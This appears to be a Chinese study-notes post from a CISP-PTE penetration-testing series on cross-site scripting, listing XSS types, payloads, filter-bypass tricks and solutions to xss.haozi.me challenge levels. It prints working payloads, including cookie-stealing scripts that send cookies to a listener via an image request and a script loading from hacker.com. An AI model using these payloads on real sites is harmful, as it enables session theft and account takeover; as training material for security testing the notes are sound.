渗透测试CISP-PTE-系列学习笔记
第一章 渗透测试CISP-PTE:Web安全简介
第二章 渗透测试CISP-PTE:信息收集
第三章 渗透测试CISP-PTE:漏洞扫描
第四章 渗透测试CISP-PTE:HTTP请求流程
第五章 渗透测试CISP-PTE:SQL注入
第六章 渗透测试CISP-PTE:暴力破解
第七章 渗透测试CISP-PTE:XSS
文章目录
- 渗透测试CISP-PTE-系列学习笔记
- 前言
- 一、XSS攻击类型
- 二、HTML对象/标签对应的事件
- 三、XSS常见Payload
- 四、XSS漏洞测试流程
- 六、xss获取cookie
- 七、XSS防护和绕过方法
- 八、XSS训练
- 总结
前言
XSS (Cross-Site Scripting) 攻击是一种利用 Web 应用程序的漏洞,通过在用户输入的数据中注入恶意脚本来实施攻击的方法。
一、XSS攻击类型
1、反射性XSS
攻击者将恶意脚本注入到 URL 中,当用户点击包含恶意脚本的链接时,脚本会在用户的浏览器中执行。攻击者设置圈套,构造一个恶意代码/链接,让受害者访问,当用户访问带有XSS恶意代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到用例浏览器,浏览器解析这带有XSS代码的数据后,最终造成XSS漏洞
例如这个页面存在xss漏洞,在php中 . 的左右
<?php
$username = $_GET['username'];
echo 'hello world: ' . $username;
?>
例如让受害者访问http://127.0.0.1?username=<script>alert("xss");</script>
使用反射型xss将用户的cookie反馈给攻击者
http://127.0.0.1?username=<script src=“http://hacker.com/1.js”></script>
攻击场景,仅仅弹个框?
假如http://test.com/xss1.php存在XSS反射型跨站漏洞,那么攻击者的步骤可能如下。
- test1是网站test.com的用户,此时正在登录的状态中。
- 攻击者发现http://test.com/xss1.php存在XSS反射型跨站漏洞,然后精心构造JavaScript代码,此段代码可以窃取用户的cookie。
- 攻击者将带有反射型XSS漏洞的URL通过站内信息发送给用户test1,使用各种诱导的方式让用户 test1去打开链接。
- 如果用户test1打开了带有XSS漏洞的URL,那么就会把自己的cookie发送到攻击者中。
- 攻击者接受到用户test1的会话cookie,就可以直接利用cookie以test1的身份登录test.com网站中。
以上步骤,通过使用反射型XSS漏洞可以以test1的身份登录网站,这就是其危
2、存储型XSS
存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本。允许用户存储数据的WEB应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当再次访问页面时,这段XSS代码被程序读取响应给浏览器,造成XSS跨站攻击,这就是存储型XSS。
如下图所示,攻击者将恶意脚本存储在服务器上,当用户访问包含该脚本的页面时,脚本会从服务器加载并执行。
在测试是否存在XSS时,首先要确定输入点与输出点,例如:我们要在留言内容上测试XSS漏洞,首先就要去寻找留言内容输出(显示)的地方是在标签内还是标签属性内,或者在其他地方,如果输出的数据在属性内,那么XSS是不会被执行的。
攻击场景
- 在留言板处使用XSS代码。
<script>alert(document.cookie)</script
- 重新加载留言处页面时,代码被执行。
3、DCOM型XSS
DOM的全称为Document Object Model,即文档对象模型,DOM通常用于代表在HTML、XHTML和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。
通过JavaScript可以重构整个HTML页面,而要重构页面或者页面中的某个对象,JavaScript就需要知道HTML文档中所有元素的“位置”。而DOM为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构。根据DOM规定,HTML文档中的每个成分都是一个节点。
DOM的规定如下:
• 整个文档是一个文档节点
• 每个HTML标签是一个元素节点
• 包含在HTML元素中的文本是文本节点
• 每一个HTML属性是一个属性节点
• 节点与节点之间都有等级关系
传统类型的XSS漏洞(反射型或存储型)一般出现在服务器端代码中,而DOM XSS是基于DOM文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。
DOM XSS取决于输出位置,并不取决于输出环境,因此也可以说DOM XSS既有可能是反射型的,也有可能是存储型的,简单去理解就是因为他输出点在DOM。
攻击者将恶意脚本注入到页面的 DOM (文档对象模型)中,当用户交互操作触发脚本执行时,脚本会执行恶意操作
二、HTML对象/标签对应的事件
允许JavaScript在HTML文档元素中注册不同事件的处理程序,事件通常于函数结合使用,函数不会在事件发送前执行。
1、鼠标事件
2、框架/对象(Frame/Object)事件
三、XSS常见Payload
1.简单的弹窗告警
<script>alert("xss");</script>
2.获取cookie
<script>alert(document.cookie);</script>
3.其他标签
<a href=javascript:alert(111)>
<body onload=alert("xss")>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">
4.嵌入其他网站链接
<iframe src=http://www.baidu.com width=0 height=0></iframe>
XSS输入HTML代码段,如使网页不停刷新
<meta http-equiv="refresh" content="0";>
5.注释符
5.1.HTML注释符
<!-- *** --> 或者 <!-- *** --!>
5.2.JavaScript/PHP注释符
单行注释://
多行注释:/* *** */
四、XSS漏洞测试流程
1.测试流程
- 在目标上找输入点,比如查询接口、留言板
- 输入一组“特殊字符(>, ',")等+唯一识别字符”,点击提交,查看返回源码,看后端返回的数据(输出点)是否有处理(过滤、转义等)
- 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行JS的条件(构造闭合\构造payload)目的是让输入的数据(从属性或标签当中逃逸出来)变成代码来执行
- 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
XSS漏洞的防御原则:输入做过滤、输出做转义
2.输出点位置的不同,闭合方式不同
2.1.输出在HTML属性中
<input name="user" value="{your input}"/>
- 闭合html属性,插入新的属性
<input name="user" value="" onclick="alert<'xss'>"/>
- 闭合input标签,插入新的script标签
<input name="user" value="" ><script>alert(1);</script>"/>
2.2.输出在CSS代码中
<style type="text/css">
Body{
color:{your input}
}
</style>
- 闭合css代码中的属性,插入新的属性
<style type="text/css">
Body{
color:#000;backgroud-image:url('javascript:alert(1)');
}
</style>
2.3.输出在JavsScript中
<script>
var name=‘{your input}’
</script>
- 闭合javasript代码,插入攻击代码
<script>
var name=''+alert(1)+'';
</script>
六、xss获取cookie
1.常用函数
document.write()
document.cookie
2.常用payload
<script>
document.write(
'<img src="http://127.0.0.1:8000/'+
document.cookie+
'"/>'
);
</script>
3.将cookie反馈给攻击者
DVMA:XSS存储型
<script>
document.write(
'<img src="http://127.0.0.1:8099/?'+
btoa(document.cookie) +
'" >'
);
</script>
备注:atob-base64解码
btoa-base64编码
攻击机启动nc 监听,即可窃取其他用户的cookie
七、XSS防护和绕过方法
1.XSS防护
特定标签过滤
事件过滤
敏感关键字过滤
2.XSS绕过
2.1.特定标签过滤
script和iframe等危险标签过滤
1)采用插入过滤范围外的标签(例如html新加入的<source οnerrοr="alert(1)"s>)
2)如果输出点在HTML标签属性中或JS代码中,只需简单闭合、拼接属性或JS代码即可,无需引入新标签。
2.2.事件过滤
2.3.敏感关键字(字符)过滤
针对敏感变量或函数进行过滤,如cookie,eval,alert等,针对敏感符号过滤,如括号、空格、小数点等
通过字符串拼接、编码解码等方式进行绕过
- 字符串拼接与混淆
Window['alert']('xss')
Window['al'+'ert']('xss')
window[atob("YWxl"+"cnQ=")]('xss')
- 编码解码
a)HTML进制编码:以&开头,以分号结尾
命令实体:<这个符号的编码是<
字符编码:<这个符号的编码是<或<
b)CSS进制编码:兼容html,十进制或十六进制
c)JS进制编码:e这个字符八进制\145;十六进制\x65或\u0065
d)url编码:%61
e)JSFuck编码:以6个!+字符来编写js脚本
编码工具:http://evilcos.me/lab/xssee - Location.*
window.name
- with关键字:在JS中可以使用with关键字设置变量的作用域,利用此特性可以绕过对小数点的过滤
如:With(document)alert(cookie);
- 过滤“()”
在js中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对这对小括号的过滤,如:window.onerror=alert; throw 1;
或使用反括号代替,如<script>alert
1</script>
八、XSS训练
1.
1.1.源代码
function render (input) {
return '<textarea>' + input + '</textarea>'
}
1.2.破解思路
闭合textarea标签即可
</textarea><script>alert(1);</script><textarea>
2.input
2.1.源代码
function render (input) {
return '<input type="name" value="' + input + '">'
}
2.2.破解思路
●利用"> 提前闭合input
"><script>alert(1);</script>
●使用input 事件参数,先闭合value="
input 事件参数包含如下函数:
onclick,onmouseover
" onmouseover="alert(1) 或者" onclick="alert(1)
3.过滤()和-stripBracketsRe = /[()]/g
3.1.源代码
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
正则表达式匹配替换来过滤()
3.2.破解思路
利用``(反引号)代替()
<script>alert`1`;</script>
4.过滤()和-stripBracketsRe = /[(`)]/g
4.1.源代码
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
正则表达式匹配替换来过滤()和`
4.2.破解思路
使用将括号进行编码(只有输入的内容(需要编码的内容)在标签内时才可以使用),如下
<input onmouseover="alert(1)"><!--将()unicode编码为()-->
5.注释符–>
5.1.源代码
function render (input) {
input = input.replace(/-->/g, '😂')s
return '<!-- ' + input + ' -->'
}
正则表达式匹配替换来过滤–>
5.2.破解思路
注释符还可以用--!><script>alert(1);</script><!--
6.任意字符 . 的匹配过滤
6.1.源代码
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
6.2.破解思路
任意字符 . 不能匹配换行符,将js代码用换行符分开
onclick
="alert(1)"
7.</?[^>]+匹配过滤(标签过滤)
7.1.源代码
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
7.2.破解思路
使用不完整标签
<body onload="alert(1)";
8.标签强匹配过滤
8.1.源代码
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
8.2.破解思路
的>前增加空格来避免强匹配
</style ><script>alert(1);</script>
9.网址链接引入
9.1.源代码
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
9.2.破解思路
网址引入失败,使用onerror参数
https://www.segmentfault.com" onerror="alert(1);
10.网站
10.1.源代码
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
10.2.破解思路
使用https://www.xxx@包含alert(1);的js网址
https://www.segmentfault.com@xss.haozi.me/j.js
其中j.js的内容为alert(1)
11.大小写限定
11.1.源代码
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
11.2.破解思路
由于标签的值时区分大小写的,而标签是不区分大小写的,且标签内的内容可以编码
<script src="https://xss.haozi.me/j.js"></script>
<body onload="alert(1)">
12.//单行注释
12.1.源代码
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
12.2.破解思路
//只能注释一行,所以换一行,插入alert(1),并注释掉后面的‘) ,由于//注释符被过滤掉了,所以使用–>来注释
alert(1)
-->
13.<([a-zA-Z])任意字符过滤
13.1.源代码
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
13.2.破解思路
过滤了所有英文字母,使用古字符替换
<ſcript src="https://xss.haozi.me/j.js"> </script>
14.转译escapeHtml(input)
14.1.源代码
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
14.2.破解思路
使用’); 先结束前面的console.error
');alert('1
15.转译escapeHtml(input)
15.1.源代码
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
15.2.破解思路
先用""; 结束window.data = “”;
然后插入alert(1)
"";
alert(1)
总结
以上就是今天要讲的内容,本文仅仅简单介绍了XSS攻击类型,XSS漏洞常用流程,以及常见XSS案例的破解思路等。后续将从CRSF、文件上传、文件包含、命令执行等环节进行详细介绍。